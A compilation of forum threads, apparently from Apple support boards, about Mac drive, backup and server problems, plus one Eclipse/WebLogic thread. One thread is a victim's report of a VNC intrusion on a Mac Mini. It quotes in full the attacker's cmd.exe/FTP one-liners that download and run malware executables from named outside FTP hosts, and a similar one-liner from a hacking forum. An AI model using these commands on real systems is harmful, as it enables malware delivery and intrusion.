MacMini running Server 3.0.2 won't share second internal drive

I have been having numerous issues since Mavericks, and am beginning to wonder when Bill Gates took over Apple, and what on earth happened to the modicum of truth behind "it just works"...
Today's is a problem I cannot fix. Whilst doing a "repair disk permissions" On the bootable internal HD of the MacMini, and a "verify disk" on the second internal HD, I received an error message on my MBA (also Mavericks) stating that the network share I had on the second internal HD of the MacMini Server could not be found and would be ejected.
Since that moment, neither my MBA nor my iMac have been able to see any of the shares on that drive, and Time Machine (the backups were on that disk) reports "OSStatus Error 2". I have checked permissions on the MacMini for the drive and folders therein. I have un-shared and re-shared the disk in the Server App. Nothing I can do seems to make that disk visible over the network. I'm now in the process of copying the contents of the disk so I can re-format it.
If anyone has any less drastic suggestions I'd be most grateful. All other shares (USB external drives, and the bootable HD) work fine, and TimeMachine is now happily (albeit slowly) backing up my MBA to another drive on the same server.

Interestingly, I can see the folders on this dive when Cmd+k and cifs://server.local
In the standard sidebar link, I now have "Bob" (alias for the server), which can't see the problematic drive, but can see all other shares, and "server.local" via cifs which can see all the shares. Time machine still can't see the problematic disk.

Hard drive run OS X 10.6.8 and an added internal drive run OS X 10.8?

I want to run two OS X's on my computer so that I won't have to spend $1000+ to upgrade all my software. I have OS X 10.6.8 on my Mac Pro hard drive now but would like to add an internal hard drive that runs only OS X 10.8. Is this possible to do? If so, how do I go about it?

The Cheese Gratter Mac Pro (I used to own one), has room for four drive lots for 3.5" internal disk drives. It is rather easy.

Once the new 3.5" internal drive is installed, you then use Disk Utility to format the drive.
Disk Utility
select the drive on the left
Select the "Partition" tab on the right
Select "Options"
Specify GUID (this is needed if you are going to boot from this drive)
Click OK/Apply
Decide if you want 1 partition, or more. If more than 1, size and name each partition.
Click Apply
Now install your operating system. I would suggest making a copy of the "Install OS X Mountain Lion" installer, as the installer will delete itself when it is finished. If you make a copy before you install, it will delete the copy you are running, and you can use the original again if you need to re-install, or want to install Mountain Lion on other boot disks or systems you own or control (aka Family).
If you have created more than 1 partition, you can install other operating system versions on those partitions or use them for data.
You should have 2 more empty drive slots. You can add more 3.5" disks. If you have not been doing backups yet, I would suggest installing additional disks in those slots for backups.
Once you have your 2nd (3rd, 4th, 5th, etc...) operating system installed, you can use System Preferences -> Startup Disk to specify which operating system you want to boot the next time you boot.
OR you can boot holding the "Option" key, and the Mac will boot listing every bootable disk/partition and you can click on the partition you wish to boot from.
Hopefully, when you boot up via the "Option" key, you will see a "Recovery" Partition for the Mountain Lion (10.8). If you do not see a "Recovery" partition, you should start over and create 1 extra 2GB partition on the new drive that can be used for the Mountain Lion "Recovery" partition.

IMac won't boot from internal drive (Disk Ult can't see drive)

Yesterday morning my iMac (early 2006) froze while watching a movie. I figured it was because I was running so many things in the background (Safari, iTunes, iPhoto, Mail, iCal and Preview). So I restarted the unit by holding down the power button cause it wouldn't responded to any keyboard prompts, tho it did allow me to use the mouse. So I restarted and got a grey screen showing a folder and a question mark. i unplugged the system for a few minutes and started her up again. This time it showed the gray apple but it had a progress bar on the bottom like it was loading something. The system started and took me to the login screen. Just to be safe i restarted it from the login screen. the system booted up fine and i finished watching my movie. I came back from the gym like 2 hrs later and tried to wake my mac from sleep mode and got the usual prompt to enter my password to unlock the screen. As i started to enter my password the screen froze again. This time tho i was unable to restart the unit. i kept getting that grey screen with the folder and question mark. So iI popped in my 10.6 install disk to see if I could repair the HDD. But no matter how many times i try the system does not pick up my internal drive. I'm not really sure what the problem is. I thought it might be hardware failure, but I didn't have this problem until after the latest software update. And the drive never gave me any indication of problems before yesterday. All i can think is that the system update or safari update corrupted something or is not playing nice with something already on the system. But i guess that wouldn't explain the drive not being seen. Can anybody offer and ideas of a solution? I really just wanna get it up so I can salvage my iTunes folder and transfer it to my Macbook.
HELP

Hi MacBoy84
Sure sounds like the HD is worn out, damaged, failing or failed and needs to be replaced.
Take it to your local Authorized Apple Service Provider and have them put a new WD Caviar Blue or Seagate Barracuda 3.5 SATA HD in it. > http://www.apple.com/buy/locator/service/
Given the choice I would choose a WD Caviar Blue, they seem to run a little cooler and quieter than the WD Blacks and most Seagate's. http://www.wdc.com/en/products/index.asp?cat=3
As for your iTunes Library that depends, some times just before an HD totally fails it is possible to copy the data off of it. Unfortunately most of the time when it's gone it's gone for good and needs to be sent out to a professional data recovery service, you do have a Time Machine backup on an External HD right?

IDVD won't recognize second DVD drive.

The DVD drive in my G5 stopped functioning, so I plugged in a FireWire external DVD drive. The OS recognizes the DVD disk and the external drive, but iDVD does not. When I click the "Burn" button, it opens the drawer of the built-in (non-functional) DVD drive and tells me to insert a blank DVD.
There seems to be no facility for telling iDVD which DVD drive to use. Am I missing something?
Mac OS X (10.4.8)

Hi John:
You might want to try what Len Goff always recommends:
Create a disc image and then burn the DVD. File/Save As Disc Image...
http://docs.info.apple.com/article.html?artnum=164927
This will isolate any encoding/burning issues you may encounter. Once the disc image is created, double-click the .img and burn the virtual disc that should appear on your desktop, using Toast to burn the DVD. Disk Utility to burn the .img file. Usually, you can select a burning speed in Disk Utility.
There are variations to this process based on which OS X you are using...
Open Disk Utility (in Utilities folder in Applications folder), click on the virtual disc (maybe the .img) in the left-hand window. Click the Burn icon. A new window should drop down and your SuperDrive tray will open after clicking the Burn icon. Insert a recordable DVD. (Verbatim DVD-R preferred by me.) Click the Close button. Wait. Select a burn speed. If you hold your mouse cursor over the pop-up it says: "Select a slower speed to work around burn failures," so select 4x or slower for best results. Then click the Burn button.
-->If the virtual disk selection won't allow you to click the Burn icon, use the .img file instead. This may have changed in 10.3.9 and did change in Tiger.
Also, you can use DVD Player to play the virtual disk to check your iDVD project before burning to DVD. Launch DVD Player. File/Open VIDEO_TS (Open DVD Media... in Player 4.6). Find the VIDEO_TS folder and open that. (The audio folder is for DVD-Audio disks.)

Alternatively, you may want to get PatchBurn.

Time Machine won't allow second backup drive?

I want to create a second backup of Time Machine on another external hard drive. However it won't give me an option to backup to both drives. When I insert drive II, it only allows me to use it if I delete backup drive one. I attached photos of the prompt.
Any help appreciated greatly. Thank you :-)

Howdy Kgkgkg12,
It sounds like this drive you are wanting to use with Time Machine is not in the same format that Time Machine needs to operate. According to this article:
Mac Basics: Time Machine backs up your Mac
Your Time Machine drive needs to be formatted as Mac OS X Extended (Journaled). If you select an NTFS or FAT-formatted drive, Time Machine prompts you to reformat the drive. Important: Reformatting erases any files on the destination drive. If you're not sure if you want to erase the drive you connected, choose a different drive.
You can check the format of the drive with these steps:
OS X Yosemite: View file, folder, and disk information
Get individual item info: Select the item(s), then choose File > Get Info, or press Command (⌘)-I.
Thank you for using Apple Support Communities.
Cheers,
Sterling

Disk Utility won't initialize second Maxtor drive

My first hardware upgrade has not gone too well. I just got a Maxtor 6L250S0 drive to fill empty second bay of my dual 1.8 PowerMac G5. (Drive specs: 250 GB SATA Ultra 16, DiamondMax, 16 MB cache, 7200 RPM) Installation was a breeze, but I can't get my Mac to erase, format, partition or otherwise initialize the drive for use. When I rebooted, I got the message about needing to initialize the new hardware. I clicked "Initialize", and Disk Utility came up. Disk Utility lists "Maxtor SABRE" as a drive on the left and lists the following details at the bottom:
Disk Description : Maxtor SABRE
Total Capacity : 0 Bytes
Connection Bus : Serial ATA
Write Status : Read/Write
Connection Type : Internal
S.M.A.R.T. Status : Not Supported
Connection ID : Device 0, "B (lower)"
The Capacity and SMART status lines are a bit troubling. Is that normal when a drive is first installed?
I go to the ERASE tab and can only select "Mac OS Standard" or "UNIX File System" for the volume format. I select the Mac OS Standard and press the Erase button, but I get a message "Disk erase failed with the following error: The chosen size is not valid for the chosen file system."
I go to the PARTITION tab and can't do anything there either. When it lets me edit the form and press the Partition button, it gives an error saying "Device not configured." Usually as soon as I do anything on this form (e.g., select the Format dropdown), all the choices are grayed out with the notice "the disk is too small to contain partitions".
Based upon research here and elsewhere, I know this is a compatible drive. Am I missing a step? Could the drive be bad?

Hi,
I have never seen a Maxtor come up as "Maxtor SABRE" in disk utility. Your post says the Maxtor 250GB hard drive is mounted internally. If so, I would guess that the drive is damaged. I would take it back for a working drive.
Or you could call Maxtor at (800) 262-9867. I have had two Maxtor drives fail in the last 5 months and the techs at Maxtor sent me replacements and then I returned the damage drives in their shipping boxes.
The Maxtor tech guys are very helpful and give Mac users the benefit of the doubt when it comes to warranty returns. At least that was my experience.
The drive should display Maxtor 6L250S0 in the disk utility window and Smart Drive status should be active.
I hope this helps,
Michael

Os 10.6 won't mount additional internal drive

I have problematic files on the internal hd I use for my itunes library - I couldn't empty the trash, which I narrowed down to said files which resided in the music/.trashes folder. I discovered I could move the files about; even copy them onto my desktop and trash them from there(once I'd moved the troublesome files), but the version of the files on the music drive remained stubborn... throwing up 'error -36'
I managed to move them out of the trash in the first place was simply to move them from music/.trashes to music/.temporary items; I don't know whether this caused my next problem...
I tried repairing the disk, to see if that would overwrite the files, but disk utility failed, complaining of an invalid node structure. Now i can't even mount the drive back onto the desktop to try anything else...
that drive, and another internal drive, are partitioned and a partition on each are used to form a striped raid - that re-mounted when I tried the terminal 'mountdisk' command.
so I have a load of problems and a hefty 2000 albums in the balance, all for the sake of a couple of empty folders....

which is why
always have two backup sets of everything - or more - so you have clone of your data, TimeMachine, and archive from months ago even.
Doubly so with stripe arrays unless purely for scratch of course, but maybe best to use a different setup rather than data partition(s) and stripe when it is for your media libraries.
Arrays should also be identical drive model, revivsion, and firmware to work together properly.
you might need Disk Warrior to get the drive back - it has Preview mode to allow copying files before rebuild of the directory. One trick pony is the best for such problems.
Some add'l drives to recover files if you need Data Rescue 3, and for a new backup (any backup you have leave as is to be safe)
Carbon Copy Cloner is another must have utility in your arsenal.

External FW System drives. 10.4.11 starts and runs. 10.5.8 won't

Hello, and thanks in advance for your time. I've never posted in this forum, but am a regular contributor on the Logic Pro forum.
I've had TIger running on my G5 off an external boot drive to use Logic Pro 8 trouble free for a long time. I cloned the drive, made sure the clone booted and updated the clone to 10.5.8 so I could run Logic 9. This worked great for about 4 months. One day Logic crashed during a routine operation that I use daily without incident. The computer froze. I could not force quit out of Logic. When I went to the hidden dock, it opened but did not function or close again. I shut down with the power switch. I could not get OS 10.5.8 to start up again. It will still startup fine in 10.4.11 on the original external drive that I cloned.
I have tried:
Running disk utility to check the drive. It passes.
Launching from the install disk and repairing permissions on the 10.5.8 drive. It repairs them and finds no issues when re-checked.
Launching the install disk and restoring the startup from time machine.
Re-installing 10.5 on the same drive as the update.
Re-cloning and re-updating to a different external drive.
Swapping cables and firewire ports.
Re-formatting and doing a fresh install of 10.5 on another drive.
Zapped the PRAM.
Started in safe mode and reset the password.
And more stuff that I can't recall at the moment but will remember if anyone suggests a possible solution that I have already tried.
Through all this, I can still start up off the 10.4.11 drive on the same firewire ports.
I also took the 10.5.8 hard drives home and was able to boot my old mdd G4 off of each of them with no problem.
I am quite stumped as to why the same FW buss can boot up in Tiger, but not in Leopard, especially since it worked fine at first.
Any Suggestions?

The good news is that I've gotten to the source of the
problem. It got to the point where I could not boot in Tiger either.
This happened after accessing the second internal drive in the G5. I
opened the box, disconnected the drive and all is well. Leopard works,
Logic 9 works, the order of the universe is restored.....
The bad news is that because the first symptom of this problem was the
loss of Leopard and Time Machine, the most recent back-up I have of my
Logic songs that I save on this drive is from 9/24/10. If I can't get
at these files I'll be re-doing many hours of work. The drive
partitions mount OK. I can navigate through the first 2 levels of
folders but cannot display the contents of the 3rd level. Finder
freezes when I try. I've rebuilt the directories with Disk Warrior
with no benefit.
Do you have any tips on file recovery? I was thinking I'd start with
putting the drive in an external enclosure to eliminate the G5's
internal wiring as a possibility. Beyond that, I'm clueless. Any leads
would be very much appreciated.

MacMini running my TV has been compromised, tried to download winbackup.exe

I have a MacMini running Elgatos EyeTV software as my permanent HD TV setup. It's permanently hooked up to the internet and is always on. I have a Universal remote for controlling EyeTV, FrontRow and the rest of my Home Theater system. Until today I thought this may have been a problem with the remote.
Over the past few weeks it has been behaving erratically every now and then. The 'remote' dialog would appear on screen and it would change between channels. The video would keep switching between pause and play repeatedly. If I'm watching a movie in Front Row, it would do the same, but eventually switch all the way back out to the OS. It did cross my mind that maybe someone was getting into the computer, but I didn't see how this could be happening.
My Mac Mini is hooked up to an ADSL 2 modem, which I have setup with port mappings for port 80 and a non standard ssh port mapped to the Mini. These are the only ports open.
Today it happened again, but this time it was something quite disturbing. I was watching a movie in Front Row and it suddenly switched out back to the OS. My first response is to cover up the infra red ports on my remote, because I had thought maybe the remote was sending invalid signals. But when it got back to the OS, it renamed one of my hard disks. I sat there and watched it as the following text was entered one character at a time:
cmd /c echo open ftp1.killyourself.info 21 .. ik 7echo user mysql database .. ik 7echo binary .. ik 7echo get winbackup16.exe .. ik 7echo bye .. ik 7ftp -n -v -s;ik 7del ik 7winbackup16.exe 7exit
Based on a Google search killyourself.info looks like a bitorrent tracker. But I can actually ftp into ftp1.killyourselfinfo server using 'mysql' and 'database' as the username and password (taken from the text shown above). The ftp server contains the following files, "YouTube.Video.Downloader.2007-GameRevolution", "h.exe", "RLPack1_1__1_.16PersonalVersion.zip", "torrentfix32.exe", "winamp533_pro.exe", "winbackup16.exe", "winsys32.exe", "woo.zip", "wrar361.exe" and "YouTube.Video.Downloader.2007-GameRevolution.rar"
A search on winbackup.exe brings up dozens of spyware and worm references. Which is fine, I don't have windows installed on the mini, but it is on my MacBook Pro in Parallels. If this had have happened on there then I may have had a bigger problem.
So, someone somewhere is connecting into my MacMini and attempting to download and install a windows worm/virus. I think they're getting in via VNC because I've had a VNC Server running on there for the last few weeks to allow me to get in from my laptop.
The fact that it's executing windows commands means that it's probably automated and they must assume it's a windows box, which kind of rules out ssh and applescript based attacks. I've killed the VNC server now, but I don't see how they were able to get in in the first place.
I disabled all of the network ports in System Preferences and the commands stopped being executed. What I'd like to do is be able to look through any logs that may reveal what connections were made to the mini. If I can, I'd like to track down the bad guys.

I have a simpler explanation for the password thing. There isn't one set. Neither was my firewall running. I'm not sure at what point that was disabled, but I'm still not sure how the connection is getting through my ADSL modem (no port mapping for VNC). A quote from the HenWen manual seems appropriate here:
“All that is necessary for evil to triumph is for good men to do nothing...”
— Edmund Burke
And yes, I am in IT Security At least my MBP is locked down.
I couldn't get snort working the way the tutorials and manuals described, so I went with Wireshark (used to be called ethereal).
Any my honey pot was successful. This is now a confirmed VNC exploit.
I had everything turned off. Bluetooth, WiFi, Firewire. All my applications were shutdown with the exception of TextEdit, which was sitting there waiting for remote commands to be entered. VNC Server, which is what I assumed the attacker was exploiting and Wireshark, which was sitting there listening for network packets.
Interestingly, the ftp server is different this time. Here is the complete text of what was entered (non-printable characters aside):
5systemroot5\system32\cmd.exe
cmd /c echo open ftp.heh.pheer.info .. heh 7echo binary .. heh 7echo get heh.exe .. heh 7echo bye .. heh 7ftp -as;heh 7del heh 7start heh.exe 7exit
This was a bit different to last time. It's a different ftp server and files. I can connect to the ftp server, but the username isn't as obvious. I went with 'anonymous' and '[email protected]' and got in. On this FTP server there are only two files, "GOOGLE.exe" and "HEH.exe"
If I try and ping ftp.heh.pheer.info it resolves to mail.cppweb.com, which doesn't respond to a ping at all, but www.cppweb.com seems to be an ISP of some sort in 'Monroe, Wisconsin' (according to the front page). So chances are the attacker is a user of that ISP. It looks a bit dodgy, all of the internal links go to a 404 page.
Wireshark has a series of VNC requests coming in from the IP address 58.20.207.179, which I can't ping and doesn't come up with a name via nslookup. The IP address of both ftp.heh.pheer.info and mail.cppweb.com is: 64.73.102.119
This is a little more interesting; heh.pheer.info goes nowhere in the browser, but pheer.info resolves to www.ryan1918.com, which is apparently the number 1 source of everything. Looking at some of the posts on their front page it looks like they've been attacked a lot over the past few days, although based on some of the links and 'affiliates' it doesn't appear to be a reputable place, at least not at first glance (no offense meant to any members).
It's also pretty clear why they have been hacked so often. I tried searching for VNC in their forums and got an error, which revealed a nicely detailed SQL query showing the structure of their database. But their site can be searched via Google. Here's an interesting forum question under the topic of 'VNC Hacking':
can someone help me with uploading a file and executing after u get root access on a vnc server. ive been using windows ftp but doesnt seem to work on rooted box is there a easier was to do this or am i doing it wrong. Thanks in advance
cmd.exe /c echo open x.x.x.x > i &echo get winreg.exe >> i &echo quit >> i &ftp -As:i &start winreg.exe
http://www.ryan1918.com/viewtopic.php?p=40897&sid=aef6bf23561670b189ebfff1525064 b2
And here's a link someone posted to their 'vnc bot'
http://www.ryan1918.com/viewtopic.php?t=7573&sid=f5843eae2bdd6fdfcc396008e46a13f 9
I was going to submit a complaint to the IC3, but they seem to be focussed on actual monetary loss and fraud.
Can anyone suggest an appropriate way forward. I assume there must be some organisation that this information can be submitted to. Surely these kinds of attacks shouldn't simply be tolerated.

How do I move mail from MacMini running Leopard to MacBook Air on Lion?

I've just started using Lion on a MacBook Air and I'm having a problem transferring Mail from my MacMini running Leopard to the MacBook running Lion.
I used to just move the "Mail" and "Mail Downloads" folders from the Library of one computer to the other. I do this pretty regularly. I understand these folders are hidden in Lion, and I can't figure out how to find them or unhide them.
Any suggestions on how to do this--or another way to copy all my mail from the older computer to the new one (so that it serves as a back-up) will be appreciated. Thanks!

Dispatcher Running Server Not Connected

Hi,
I have the same problem on Windows 2003 Server EP6 WAS640 SR1 SP9
I have the WAS640 for ABAP with the Java Add In and the Enterprise Portal installed on top.
When I try to connect to the Portal through a browser I get the message:
Dispatcher Running Server Not Connected
In the JCMON I cannot start Server0 and I get the errors 1,2,3,4 and it tries to start and then goes to status STOPPED
Does anyone know the solution ?
My system was working, the last change I made was to authenticate users against an SAP system and then I did a reboot and now the J2EE won't start.
Any help is much appreciated.
Thanks,
Tomas.

some more info, this problem started after I configured the Portal to authenticate against the SAP system

MacMini Lion Server Configuration

Hi There,
I'm replacing our aging Xserve with a new MacMini Lion Server. It will primarily serve job files to our 5 client machines via AFP.
My question is what is the best way to configure the 2 internal MacMini hard drives? Here is what I'm considering:
Option 1:
Drive 1: 256GB SSD would contain the OS only
Drive 2: 750GB 7200rmb Drive would hold Job files only and would be RAID mirrored to an external drive via Thunderbolt.
Option 2:
Drive 1 and Drive 2: 750GB 7200rpm drives configured as RAID mirror containing both the OS AND the Job files.
NOTE: For either option I have both onsite iterative nightly backups as well as periodic offsite backups so I'm well covered for data loss. Also, our Job files exceed 256GB so I can't fit them on an SSD drive, in case you were going to go that direction
My primary question is, would I see any considerable speed increases in accessing files via Option 1 vs. Option 2? (Option 2 is more straightforward and cheaper than Option 1).
Internal office network is pretty straightforward -- Cat 5e ethernet via a couple of Gigabit hubs.
Any advice appreciated!

OK, I'm considering one other configuration for our workgroup server:
MacMini Server running Mountain Lion Server with two 750GB internal drives. These will both be data drives and set up as RAID mirror.
For the system drive I would boot from a small (64GB or 128GB) external Thunderbolt drive. It would act as a dedicated OS drive.
Other than a little bit more storage room, would that give me any advantage over having both my OS and Data on the internal RAID? I've heard that having your OS isolated can be beneficial for some reason.
(The RAID and the OS volume would be backed up nightly with weekly rotational offsite backup as well).
I think I've decided against SSD drives for the reason that woodmeister50 pointed out above (the network being more of a bottleneck than the drives). However, if there is some advantage to the external OS drive being SSD, Elgato has a nice thunderbolt solution for reasonable money.
Feedback appreciated!

Intel Xserve with Leopard Server 10.5.5 won't let me in via login

A power outage appears to have created some issues with my intel Xserve, running Leopard server 10.5.5
The System identifier light was blinking, so I booted up from the Leopard disk and found out that my mirrored internal array needed to be rebuilt. No problem, 4 hours later, I repair permissions on the mirrored internal array, everything gets "repaired". Change bootup disk to the internal 10.5.5 mirrored array and reboot. System Identifier light stopped blinking, things were looking good.
The login screen comes up and when I put in the admin username and password, the screen does the shake of the wrong login.
What's weird is, on my laptop I can use Server Admin, Workgroup Manager, and the screen sharing for the server....with the admin username and password.
So, I figure, perhaps the mirror rebuild requires me to reset the admin password. So, boot back up from the Leopard Server install DVD, run the password utility. and reset the main account password.
I change the boot drive back to the internal mirror, same thing. I'm stuck. I can't get past the login screen on the actually server....or via the screen sharing...and Server Monitor appears to be stuck at 'waiting for response'. I can, again, use Server Admin and Workgroup Manager on my laptop and make changes to the X server software....but I can't log into the X serve.
My webpage, wiki, etc....are all serving fine. But, I'd like to be able to figure out what I'm doing wrong...log back in and run super duper, etc.
Help...please...

Spent all day with apple support. They said it sounded like the LADP database was corrupted. They had me try to login as root, via an opendir account, etc. No luck.
So, they suggested I do a fresh install of the Leopard server on an external drive. Did that. They then suggested I use my laptop and the workgroup manager app to log in to the xserver, export users, groups and computers....and to copy over the library/collaboration folder to the external "clean install" of Leopard server.
Did that and followed the instructions to "relink" the metadata.plist files in each group, to the GUID to the groups in workgroup manager. First issue, they weren't different GUID strings.
Well, that didn't work...kept getting file not found error. When trying to access the domain.com/groups/groupname...it should've asked for authentication. And let me into that wiki...but no, apache error page.
So, they had me create a new "test" group....added a user. Start and stopped the web...etc. This didn't create a new wiki entry (when we replaced my custom index.html to the default index where groups/wikis/blogs populate automatically at the main). And, there's no new "test" folder in the library/collaboration files.
They then said "well, it must be because you don't have reverse DNS configured right, that's why the new wikis won't set up". I've contacted dyndns.com...but I don't think that's the problem.
So, I've rebooted my xserver to the internal drive. The wiki and blog is still there, still accessible the way I like....I still can't login to the xserver.
So, I'm wondering, if anyone knows a way I can boot up my xserve in the target drive mode, hook up my laptop and replace / swap whatever admin files so that when I boot up my xserve, I can login again.
There has to be a way to hard fix a hidden file? Replace a DB? Some awesome terminal command to get me in and fix the admin account / password....
Or, does anyone know if the reverse DNS issue applecare cites is legit? Doesn't make sense how, the same public ip and domain name, that's worked for some time...suddenly doesn't???
I'm hoping someone can help me.

Should I run server?

Hello all.
i've been playing with an idea to upgrade my MacMini to a server.
it's currently running 10.5 (non server) but I would like to get Snow Leopard Server.
Few things I use
- iTune Streaming
- Streaming AppleTV to a version of iTunes on the MacMini
- File Server
with the above need... should I go with server or just the stand alone 10.6?
please help

Mac OS X Server? If you've got the budget and the time for it, sure. Go for it.
You'll learn a whole lot here, too. You'll learn about Open Directory, Apache, DNS, host-based DHCP, Kerberos, Dovecot and the other hunks of mail, the Podcast stuff, rather more about using bash, MySQL, making and keeping server backups, and various of the other features that are provided by Mac OS X Server.
Now do you want to or need to use Mac OS X Server? Are you ready to get into server (and client) management? Do you need the features of Mac OS X Server? Well, you'll have to answer those questions.
You could think of this as a US$500 self-paced training program in servers and server technologies and IP networking, too.

Server failed to start: The domain path does not match the running server

Hi,
I've configured Eclipse to run my local weblogic - which actually is working fine.
The server starts as intended and reaches state RUNNING.
As soon as this happens, OEPE tries to validate the server and compares the identified server's configuration to the expected configuration.
This finally results into the error message shown in the subject -- though server is still running.
!MESSAGE Server watcher[Oracle WebLogic Server 11gR1 PatchSet 1 at localhost]:The domain path does not match the running server.
Domain RootDirectory retrieved from the MBean of running server is: N:\Oracle\MIDDLE~1\USER_P~1\domains\MYWEBL~1\
Domain RootDirectory of this server: N:\Oracle\Middleware\user_projects\domains\myWeblogicServer
Obviously this seems to be an issue with the length of the directory and file names. The domain's configuration and all its start scripts do not have any 8+3 pathes, like USER_P~1 for user_projects. Nevertheless the MBean of the server returns such a "truncated" path which in turn is invalid for OEPE.
Fix: When setting up the domain in Eclipse, try using that 8+3 representation of the domain's location. Then the comparison will succeed...
My Question: Where do we need to ask for a fix in OEPE? The 8+3 path is still a valid one ...
Best Regards
Philipp

I haven't been able to reproduce this and 8+3 representation of the domain's location shouldn't be required.
Can you provide more information:
- is this a network drive?
- what is your OS: XP, Vista, Win7?
- what is the Windows file system type, is it FAT or NTFS
- Can you try install WLS on C:, e.g. C:\Oracle\Middleware\user_projects and see if it still happens?
